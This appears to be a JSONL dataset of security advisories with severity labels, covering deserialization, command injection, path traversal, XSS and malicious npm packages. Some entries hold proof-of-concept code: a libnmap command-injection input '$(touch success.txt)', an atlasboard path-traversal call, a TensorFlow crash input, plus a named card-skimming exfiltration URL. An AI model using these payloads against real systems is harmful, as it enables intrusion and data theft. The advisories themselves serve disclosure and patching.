-{"id": "3b93c701fc29f0f1358a", "text": "Insecure Deserialization of untrusted data in rmccue/requests\n\n### Impact\nUnserialization of untrusted data.\n\n### Patches\nThe issue has been patched and users of `Requests` 1.6.0, 1.6.1 and 1.7.0 should update to version 1.8.0.\n\n### References\nPublications about the vulnerability:\n* https://dannewitz.ninja/posts/php-unserialize-object-injection-yet-another-stars-rating-wordpress\n* https://github.com/ambionics/phpggc/issues/52\n* https://blog.detectify.com/2019/07/23/improving-wordpress-plugin-security/\n* https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf\n* https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf\n* https://2018.zeronights.ru/wp-content/uploads/materials/9%20ZN2018%20WV%20-%20PHP%20unserialize.pdf\n* https://medium.com/@knownsec404team/extend-the-attack-surface-of-php-deserialization-vulnerability-via-phar-d6455c6a1066#3c0f\n\nOriginally fixed in WordPress 5.5.2:\n* https://github.com/WordPress/wordpress-develop/commit/add6bedf3a53b647d0ebda2970057912d3cd79d3\n* https://wordpress.org/news/2020/10/wordpress-5-5-2-security-and-maintenance-release/\n\nRelated Security Advisories:\n* https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-28032\n* https://nvd.nist.gov/vuln/detail/CVE-2020-28032\n\nNotification to the Requests repo including a fix in:\n* https://github.com/rmccue/Requests/pull/421 and\n* https://github.com/rmccue/Requests/pull/422\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Request](https://github.com/WordPress/Requests/)", "text_raw": "Insecure Deserialization of untrusted data in rmccue/requests\n\n[Severity: CRITICAL]\n\n### Impact\nUnserialization of untrusted data.\n\n### Patches\nThe issue has been patched and users of `Requests` 1.6.0, 1.6.1 and 1.7.0 should update to version 1.8.0.\n\n### References\nPublications about the vulnerability:\n* https://dannewitz.ninja/posts/php-unserialize-object-injection-yet-another-stars-rating-wordpress\n* https://github.com/ambionics/phpggc/issues/52\n* https://blog.detectify.com/2019/07/23/improving-wordpress-plugin-security/\n* https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf\n* https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf\n* https://2018.zeronights.ru/wp-content/uploads/materials/9%20ZN2018%20WV%20-%20PHP%20unserialize.pdf\n* https://medium.com/@knownsec404team/extend-the-attack-surface-of-php-deserialization-vulnerability-via-phar-d6455c6a1066#3c0f\n\nOriginally fixed in WordPress 5.5.2:\n* https://github.com/WordPress/wordpress-develop/commit/add6bedf3a53b647d0ebda2970057912d3cd79d3\n* https://wordpress.org/news/2020/10/wordpress-5-5-2-security-and-maintenance-release/\n\nRelated Security Advisories:\n* https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-28032\n* https://nvd.nist.gov/vuln/detail/CVE-2020-28032\n\nNotification to the Requests repo including a fix in:\n* https://github.com/rmccue/Requests/pull/421 and\n* https://github.com/rmccue/Requests/pull/422\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Request](https://github.com/WordPress/Requests/)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-29", "split": "train"}
-{"id": "f961a9f123ecf081171e", "text": "Use of Uninitialized Resource in alg_ds\n\nAn issue was discovered in the alg_ds crate through 2020-08-25 for Rust. `Matrix::new()` internally calls `Matrix::fill_with()` which uses `*ptr = value` pattern to initialize the buffer. This pattern assumes that there is an initialized struct at the address and drops it, which results in dropping of uninitialized struct.", "text_raw": "Use of Uninitialized Resource in alg_ds\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the alg_ds crate through 2020-08-25 for Rust. `Matrix::new()` internally calls `Matrix::fill_with()` which uses `*ptr = value` pattern to initialize the buffer. This pattern assumes that there is an initialized struct at the address and drops it, which results in dropping of uninitialized struct.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "253e6849146de8caf984", "text": "Private key leak in Apache CXF\n\nApache CXF ships with a OpenId Connect JWK Keys service, which allows a client to obtain the public keys in JWK format, which can then be used to verify the signature of tokens issued by the service. Typically, the service obtains the public key from a local keystore (JKS/PKCS12) by specifing the path of the keystore and the alias of the keystore entry. This case is not vulnerable. However it is also possible to obtain the keys from a JWK keystore file, by setting the configuration parameter `rs.security.keystore.type` to `jwk`. For this case all keys are returned in this file &quot;as is&quot;, including all private key and secret key credentials. This is an obvious security risk if the user has configured the signature keystore file with private or secret key credentials. From CXF 3.3.5 and 3.2.12, it is mandatory to specify an alias corresponding to the id of the key in the JWK file, and only this key is returned. In addition, any private key information is omitted by default. `oct` keys, which contain secret keys, are not returned at all.", "text_raw": "Private key leak in Apache CXF\n\n[Severity: HIGH]\n\nApache CXF ships with a OpenId Connect JWK Keys service, which allows a client to obtain the public keys in JWK format, which can then be used to verify the signature of tokens issued by the service. Typically, the service obtains the public key from a local keystore (JKS/PKCS12) by specifing the path of the keystore and the alias of the keystore entry. This case is not vulnerable. However it is also possible to obtain the keys from a JWK keystore file, by setting the configuration parameter `rs.security.keystore.type` to `jwk`. For this case all keys are returned in this file &quot;as is&quot;, including all private key and secret key credentials. This is an obvious security risk if the user has configured the signature keystore file with private or secret key credentials. From CXF 3.3.5 and 3.2.12, it is mandatory to specify an alias corresponding to the id of the key in the JWK file, and only this key is returned. In addition, any private key information is omitted by default. `oct` keys, which contain secret keys, are not returned at all.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-22", "split": "train"}
-{"id": "07eaa084e0c41ea3f9c9", "text": "Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains a memory corruption vulnerability which can allow for remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains a memory corruption vulnerability which can allow for remote code execution in the context of the current user.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "5e2d661437b324e6dc2c", "text": "Heap out of bounds read in `RequantizationRange`\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([1], shape=[1], dtype=tf.qint32) \ninput_max = tf.constant([], dtype=tf.float32)\ninput_min = tf.constant([], dtype=tf.float32)\n\ntf.raw_ops.RequantizationRange(input=input, input_min=input_min, input_max=input_max)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/ac328eaa3870491ababc147822cd04e91a790643/tensorflow/core/kernels/requantization_range_op.cc#L49-L50) assumes that the `input_min` and `input_max` tensors have at least one element, as it accesses the first element in two arrays:\n\n```cc\nconst float input_min_float = ctx->input(1).flat<float>()(0);\nconst float input_max_float = ctx->input(2).flat<float>()(0);\n```\n\nIf the tensors are empty, `.flat<T>()` is an empty object, backed by an empty array. Hence, accesing even the 0th element is a read outside the bounds.\n\n### Patches\nWe have patched the issue in GitHub commit [ef0c008ee84bad91ec6725ddc42091e19a30cf0e](https://github.com/tensorflow/tensorflow/commit/ef0c008ee84bad91ec6725ddc42091e19a30cf0e).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap out of bounds read in `RequantizationRange`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([1], shape=[1], dtype=tf.qint32) \ninput_max = tf.constant([], dtype=tf.float32)\ninput_min = tf.constant([], dtype=tf.float32)\n\ntf.raw_ops.RequantizationRange(input=input, input_min=input_min, input_max=input_max)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/ac328eaa3870491ababc147822cd04e91a790643/tensorflow/core/kernels/requantization_range_op.cc#L49-L50) assumes that the `input_min` and `input_max` tensors have at least one element, as it accesses the first element in two arrays:\n\n```cc\nconst float input_min_float = ctx->input(1).flat<float>()(0);\nconst float input_max_float = ctx->input(2).flat<float>()(0);\n```\n\nIf the tensors are empty, `.flat<T>()` is an empty object, backed by an empty array. Hence, accesing even the 0th element is a read outside the bounds.\n\n### Patches\nWe have patched the issue in GitHub commit [ef0c008ee84bad91ec6725ddc42091e19a30cf0e](https://github.com/tensorflow/tensorflow/commit/ef0c008ee84bad91ec6725ddc42091e19a30cf0e).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "94d0c1b5f7bfadd13804", "text": "Command Injection in Simiki\n\nCommand Injection in Simiki v1.6.2.1 and prior allows remote attackers to execute arbitrary system commands via line 64 of the component 'simiki/blob/master/simiki/config.py'.", "text_raw": "Command Injection in Simiki\n\n[Severity: CRITICAL]\n\nCommand Injection in Simiki v1.6.2.1 and prior allows remote attackers to execute arbitrary system commands via line 64 of the component 'simiki/blob/master/simiki/config.py'.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "c00e3ce6edd99f870577", "text": "Exposure of sensitive information in concrete5/core\n\nIn Concrete CMS (formerly concrete 5) below 8.5.7, IDOR Allows Unauthenticated User to Access Restricted Files If Allowed to Add Message to a Conversation.To remediate this, a check was added to verify a user has permissions to view files before attaching the files to a message in \"add / edit message”.", "text_raw": "Exposure of sensitive information in concrete5/core\n\n[Severity: MEDIUM]\n\nIn Concrete CMS (formerly concrete 5) below 8.5.7, IDOR Allows Unauthenticated User to Access Restricted Files If Allowed to Add Message to a Conversation.To remediate this, a check was added to verify a user has permissions to view files before attaching the files to a message in \"add / edit message”.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "7124d2a7ee0e4b2a1973", "text": "**Withdrawn:** Duplicate of GHSA-qcxh-w3j9-58qr", "text_raw": "Moderate severity vulnerability that affects org.apache.tomcat.embed:tomcat-embed-core\n\n[Severity: MEDIUM]\n\n**Withdrawn:** Duplicate of GHSA-qcxh-w3j9-58qr", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-18", "split": "train"}
-{"id": "b25a6f9e3c2defcca997", "text": "Malicious Package in modlibrary\n\nVersion 0.1.1 of `modlibrary` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.1.1 of this module is found installed you will want to replace it with a version before or after 0.1.1. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.1.0", "text_raw": "Malicious Package in modlibrary\n\n[Severity: CRITICAL]\n\nVersion 0.1.1 of `modlibrary` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 0.1.1 of this module is found installed you will want to replace it with a version before or after 0.1.1. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.1.0", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "37b6356ce61a108c9594", "text": "IPUX Cube Type CS303C IP Camera (UltraMJCamX.ocx) ActiveX Stack Buffer Overflow", "text_raw": "IPUX Cube Type CS303C IP Camera (UltraMJCamX.ocx) ActiveX Stack Buffer Overflow\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-12-02", "split": "train"}
-{"id": "fe2f8f49f06757758aae", "text": "Out-of-bounds reads in Pillow\n\nPillow before 7.1.0 has multiple out-of-bounds reads in `libImaging/FliDecode.c`.", "text_raw": "Out-of-bounds reads in Pillow\n\n[Severity: HIGH]\n\nPillow before 7.1.0 has multiple out-of-bounds reads in `libImaging/FliDecode.c`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "0ee1e6f7fc380638678c", "text": "jackson-databind polymorphic typing issue\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.0.0 prior to 2.9.10.1, 2.8.11.5, and 2.6.7.3. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has the apache-log4j-extra (version 1.2.x) jar in the classpath, and an attacker can provide a JNDI service to access, it is possible to make the service execute a malicious payload.", "text_raw": "jackson-databind polymorphic typing issue\n\n[Severity: CRITICAL]\n\nA Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.0.0 prior to 2.9.10.1, 2.8.11.5, and 2.6.7.3. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has the apache-log4j-extra (version 1.2.x) jar in the classpath, and an attacker can provide a JNDI service to access, it is possible to make the service execute a malicious payload. ", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-13", "split": "train"}
-{"id": "915b14a0a7e860d4aa37", "text": "Path traversal in atlasboard\n\nThe renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.\n\n### PoC\n```javascript\nconst widget = require(\\\"atlasboard/lib/webapp/routes/widget\\\");\n\n// Mock req and res\nconst req = {};\nconst res = {\n  sendFile: (filePath) => {\n    // Read and return file contents synchronously\n    const data = fs.readFileSync(filePath, \\\"utf8\\\");\n    console.log(\\\"Contents of /flag.txt:\\\");\n    console.log(data);\n  },\n  status: function (code) {\n    this.statusCode = code;\n    return this;\n  },\n  send: function (msg) {\n    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);\n  },\n};\n\n// localPackagesPath set to root to allow traversal to /flag.txt\nconst localPackagesPath = \\\"/\\\";\n\n// resource string with path traversal to escape localPackagesPath and widgets directory\nconst resource = \\\"../../flag.txt\\\";\n\n// Call vulnerable function\nawait widget.renderWidgetResource(localPackagesPath, resource, req, res);\n```", "text_raw": "Path traversal in atlasboard\n\n[Severity: HIGH]\n\nThe renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.\n\n### PoC\n```javascript\nconst widget = require(\\\"atlasboard/lib/webapp/routes/widget\\\");\n\n// Mock req and res\nconst req = {};\nconst res = {\n  sendFile: (filePath) => {\n    // Read and return file contents synchronously\n    const data = fs.readFileSync(filePath, \\\"utf8\\\");\n    console.log(\\\"Contents of /flag.txt:\\\");\n    console.log(data);\n  },\n  status: function (code) {\n    this.statusCode = code;\n    return this;\n  },\n  send: function (msg) {\n    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);\n  },\n};\n\n// localPackagesPath set to root to allow traversal to /flag.txt\nconst localPackagesPath = \\\"/\\\";\n\n// resource string with path traversal to escape localPackagesPath and widgets directory\nconst resource = \\\"../../flag.txt\\\";\n\n// Call vulnerable function\nawait widget.renderWidgetResource(localPackagesPath, resource, req, res);\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "a491214c669620dfbbf8", "text": "Multiple Content Injection Vulnerabilities in marked\n\nVersions 0.3.0 and earlier of `marked` are affected by two cross-site scripting vulnerabilities, even when `sanitize: true` is set.\n\nThe attack vectors for this vulnerability are GFM Codeblocks and JavaScript URLs.\n\n## Recommendation\n\nUpgrade to version 0.3.1 or later.", "text_raw": "Multiple Content Injection Vulnerabilities in marked\n\n[Severity: MEDIUM]\n\nVersions 0.3.0 and earlier of `marked` are affected by two cross-site scripting vulnerabilities, even when `sanitize: true` is set.\n\nThe attack vectors for this vulnerability are GFM Codeblocks and JavaScript URLs.\n\n\n## Recommendation\n\nUpgrade to version 0.3.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "3defa34ffde25a5dea5b", "text": "Use of Cryptographically Weak Pseudo-Random Number Generator in yiisoft/yii2-dev\n\nyii2 is vulnerable to Use of Predictable Algorithm in Random Number Generator", "text_raw": "Use of Cryptographically Weak Pseudo-Random Number Generator in yiisoft/yii2-dev\n\n[Severity: MEDIUM]\n\nyii2 is vulnerable to Use of Predictable Algorithm in Random Number Generator", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "afcdf231840217081f5e", "text": "Arbitrary code injection in json-sanitizer\n\nOWASP json-sanitizer before 1.2.2 may emit closing SCRIPT tags and CDATA section delimiters for crafted input. This allows an attacker to inject arbitrary HTML or XML into embedding documents.", "text_raw": "Arbitrary code injection in json-sanitizer\n\n[Severity: CRITICAL]\n\nOWASP json-sanitizer before 1.2.2 may emit closing SCRIPT tags and CDATA section delimiters for crafted input. This allows an attacker to inject arbitrary HTML or XML into embedding documents.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "be2e42322e55e22cc232", "text": "Remote code execution in mongo-express\n\nmongo-express before 1.0.0 offers support for certain advanced syntax but implements this in an unsafe way. NOTE: this may overlap CVE-2019-10769.", "text_raw": "Remote code execution in mongo-express\n\n[Severity: CRITICAL]\n\nmongo-express before 1.0.0 offers support for certain advanced syntax but implements this in an unsafe way. NOTE: this may overlap CVE-2019-10769.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "73238d6805b4f521fb80", "text": "Improper Authentication in Apache Traffic Control\n\nImproper authentication is possible in Apache Traffic Control versions 3.0.0 and 3.0.1 if LDAP is enabled for login in the Traffic Ops API component. Given a username for a user that can be authenticated via LDAP, it is possible to improperly authenticate as that user without that user's correct password.", "text_raw": "Improper Authentication in Apache Traffic Control\n\n[Severity: CRITICAL]\n\nImproper authentication is possible in Apache Traffic Control versions 3.0.0 and 3.0.1 if LDAP is enabled for login in the Traffic Ops API component. Given a username for a user that can be authenticated via LDAP, it is possible to improperly authenticate as that user without that user's correct password.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "366bcc194a6e50efacd4", "text": "Improper Authentication\n\nTraefik 2.x, in certain configurations, allows HTTPS sessions to proceed without mutual TLS verification in a situation where ERR_BAD_SSL_CLIENT_AUTH_CERT should have occurred.", "text_raw": "Improper Authentication\n\n[Severity: HIGH]\n\nTraefik 2.x, in certain configurations, allows HTTPS sessions to proceed without mutual TLS verification in a situation where ERR_BAD_SSL_CLIENT_AUTH_CERT should have occurred.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "4f0211b681fe888e0cb6", "text": "Improper implementation of the session fixation protection in Infinispan\n\nA flaw was found in Infinispan through version 9.4.14.Final. An improper implementation of the session fixation protection in the Spring Session integration can result in incorrect session handling.", "text_raw": "Improper implementation of the session fixation protection in Infinispan\n\n[Severity: CRITICAL]\n\nA flaw was found in Infinispan through version 9.4.14.Final. An improper implementation of the session fixation protection in the Spring Session integration can result in incorrect session handling.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-01-21", "split": "train"}
-{"id": "4c0282108fae452db64f", "text": "Generation of fake documents via public GET-call\n\n### Impact\nGeneration of fake documents via public GET-call\n\n### Patches\nWe recommend to update to the current version 6.3.5.1. You can get the update to 6.3.5.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-02-2021", "text_raw": "Generation of fake documents via public GET-call\n\n[Severity: LOW]\n\n### Impact\nGeneration of fake documents via public GET-call\n\n### Patches\nWe recommend to update to the current version 6.3.5.1. You can get the update to 6.3.5.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-02-2021", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-02-10", "split": "train"}
-{"id": "671c1200c2a8d2db5dcd", "text": "Path Traversal in Ansible\n\nAn archive traversal flaw was found in all ansible-engine versions 2.9.x prior to 2.9.7, when running `ansible-galaxy collection` install. When extracting a collection .tar.gz file, the directory is created without sanitizing the filename. An attacker could take advantage to overwrite any file within the system.", "text_raw": "Path Traversal in Ansible\n\n[Severity: MEDIUM]\n\nAn archive traversal flaw was found in all ansible-engine versions 2.9.x prior to 2.9.7, when running `ansible-galaxy collection` install. When extracting a collection .tar.gz file, the directory is created without sanitizing the filename. An attacker could take advantage to overwrite any file within the system.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "ec3442141eb2bb6d414b", "text": "In Bouncy Castle JCE Provider it is possible to inject extra elements in the sequence making up the signature and still have it validate\n\nIn Bouncy Castle JCE Provider version 1.55 and earlier the DSA does not fully validate ASN.1 encoding of signature on verification. It is possible to inject extra elements in the sequence making up the signature and still have it validate, which in some cases may allow the introduction of 'invisible' data into a signed structure.", "text_raw": "In Bouncy Castle JCE Provider it is possible to inject extra elements in the sequence making up the signature and still have it validate\n\n[Severity: HIGH]\n\nIn Bouncy Castle JCE Provider version 1.55 and earlier the DSA does not fully validate ASN.1 encoding of signature on verification. It is possible to inject extra elements in the sequence making up the signature and still have it validate, which in some cases may allow the introduction of 'invisible' data into a signed structure.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "9b69c1bd650f2c411f04", "text": "TP-Link TL-WR740N Wireless Router Remote Denial Of Service Exploit", "text_raw": "TP-Link TL-WR740N Wireless Router Remote Denial Of Service Exploit\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2013-03-21", "split": "train"}
-{"id": "528ad9e230145238f2fa", "text": "EyeLock nano NXT 3.5 Remote Root Exploit", "text_raw": "EyeLock nano NXT 3.5 Remote Root Exploit\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2016-08-10", "split": "train"}
-{"id": "a87af5503ff5531e8401", "text": "Denial of service attack due to invalid JSON\n\n### Impact\nA denial of service attack against Matrix clients can be exploited by sending an event including invalid JSON data to Synapse. Synapse would relay the data to clients which could crash or hang. Impact is long-lasting if the event is made part of the room state.\n\n### Patches\nAt a minimum #8106 and #8291 must be applied. #7372 and #8124 include additional checks.\n\n### Workarounds\nThere are no known workarounds.\n\n### Upgrading notes\nIf an invalid event is accepted by an earlier Synapse it can become part of the room state and will not be fixed by upgrading Synapse. Redacting the invalid event should avoid clients receiving the invalid event.", "text_raw": "Denial of service attack due to invalid JSON\n\n[Severity: HIGH]\n\n### Impact\nA denial of service attack against Matrix clients can be exploited by sending an event including invalid JSON data to Synapse. Synapse would relay the data to clients which could crash or hang. Impact is long-lasting if the event is made part of the room state.\n\n### Patches\nAt a minimum #8106 and #8291 must be applied. #7372 and #8124 include additional checks.\n\n### Workarounds\nThere are no known workarounds.\n\n### Upgrading notes\nIf an invalid event is accepted by an earlier Synapse it can become part of the room state and will not be fixed by upgrading Synapse. Redacting the invalid event should avoid clients receiving the invalid event.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-24", "split": "train"}
-{"id": "b283e44a5981cea2b159", "text": "Unsynchronized Access to Shared Data in a Multithreaded Context in RESTEasy\n\nA flaw was found in RESTEasy, where an incorrect response to an HTTP request is provided. This flaw allows an attacker to gain access to privileged information. The highest threat from this vulnerability is to confidentiality and integrity. Versions before resteasy 2.0.0.Alpha3 are affected.", "text_raw": "Unsynchronized Access to Shared Data in a Multithreaded Context in RESTEasy\n\n[Severity: MEDIUM]\n\nA flaw was found in RESTEasy, where an incorrect response to an HTTP request is provided. This flaw allows an attacker to gain access to privileged information. The highest threat from this vulnerability is to confidentiality and integrity. Versions before resteasy 2.0.0.Alpha3 are affected.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "8c7f2e198afe7b5bf1e1", "text": "Insecure temporary file used in com.squareup:connect\n\nThis affects all versions of package com.squareup:connect. The method prepareDownloadFilecreates creates a temporary file with the permissions bits of -rw-r--r-- on unix-like systems. On unix-like systems, the system temporary directory is shared between users. As such, the contents of the file downloaded by downloadFileFromResponse will be visible to all other users on the local system. A workaround fix for this issue is to set the system property java.io.tmpdir to a safe directory as remediation. Note: This version of the SDK is end of life and no longer maintained, please upgrade to the latest version.", "text_raw": "Insecure temporary file used in com.squareup:connect\n\n[Severity: LOW]\n\nThis affects all versions of package com.squareup:connect. The method prepareDownloadFilecreates creates a temporary file with the permissions bits of -rw-r--r-- on unix-like systems. On unix-like systems, the system temporary directory is shared between users. As such, the contents of the file downloaded by downloadFileFromResponse will be visible to all other users on the local system. A workaround fix for this issue is to set the system property java.io.tmpdir to a safe directory as remediation. Note: This version of the SDK is end of life and no longer maintained, please upgrade to the latest version.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "b39eed334351cd8433c7", "text": "Unrestricted Upload of File with Dangerous Type in jquery-file-upload\n\nArbitrary file upload in jQuery Upload File <= 4.0.2", "text_raw": "Unrestricted Upload of File with Dangerous Type in jquery-file-upload\n\n[Severity: CRITICAL]\n\nArbitrary file upload in jQuery Upload File <= 4.0.2", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-19", "split": "train"}
-{"id": "653bd38bbf311fec674a", "text": "Malicious Package in serilize\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in serilize\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "2169e778fcb4e64dddbd", "text": "DALIM SOFTWARE ES Core 5.0 build 7184.1 Server-Side Request Forgery", "text_raw": "DALIM SOFTWARE ES Core 5.0 build 7184.1 Server-Side Request Forgery\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-08-09", "split": "train"}
-{"id": "b028b8ba041f9af10394", "text": "Command Injection in libnmap\n\nVersions of `libnmap` before 0.4.16 are vulnerable to command injection.\n\nProof of concept\n\n```js\nconst nmap = require('libnmap');\nconst opts = {\n    range: [\n        'scanme.nmap.org',\n        \"x.x.$(touch success.txt)\"\n    ]\n};\nnmap.scan(opts, function(err, report) {\n    if (err) throw new Error(err);\n\nfor (let item in report) {\n        console.log(JSON.stringify(report[item]));\n    }\n});\n```\n\n## Recommendation\n\nUpdate to version 0.4.16 or later", "text_raw": "Command Injection in libnmap\n\n[Severity: MEDIUM]\n\nVersions of `libnmap` before 0.4.16 are vulnerable to command injection. \n\nProof of concept\n\n```js\nconst nmap = require('libnmap');\nconst opts = {\n    range: [\n        'scanme.nmap.org',\n        \"x.x.$(touch success.txt)\"\n    ]\n};\nnmap.scan(opts, function(err, report) {\n    if (err) throw new Error(err);\n\n    for (let item in report) {\n        console.log(JSON.stringify(report[item]));\n    }\n});\n```\n\n\n## Recommendation\n\nUpdate to version 0.4.16 or later", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-01", "split": "train"}
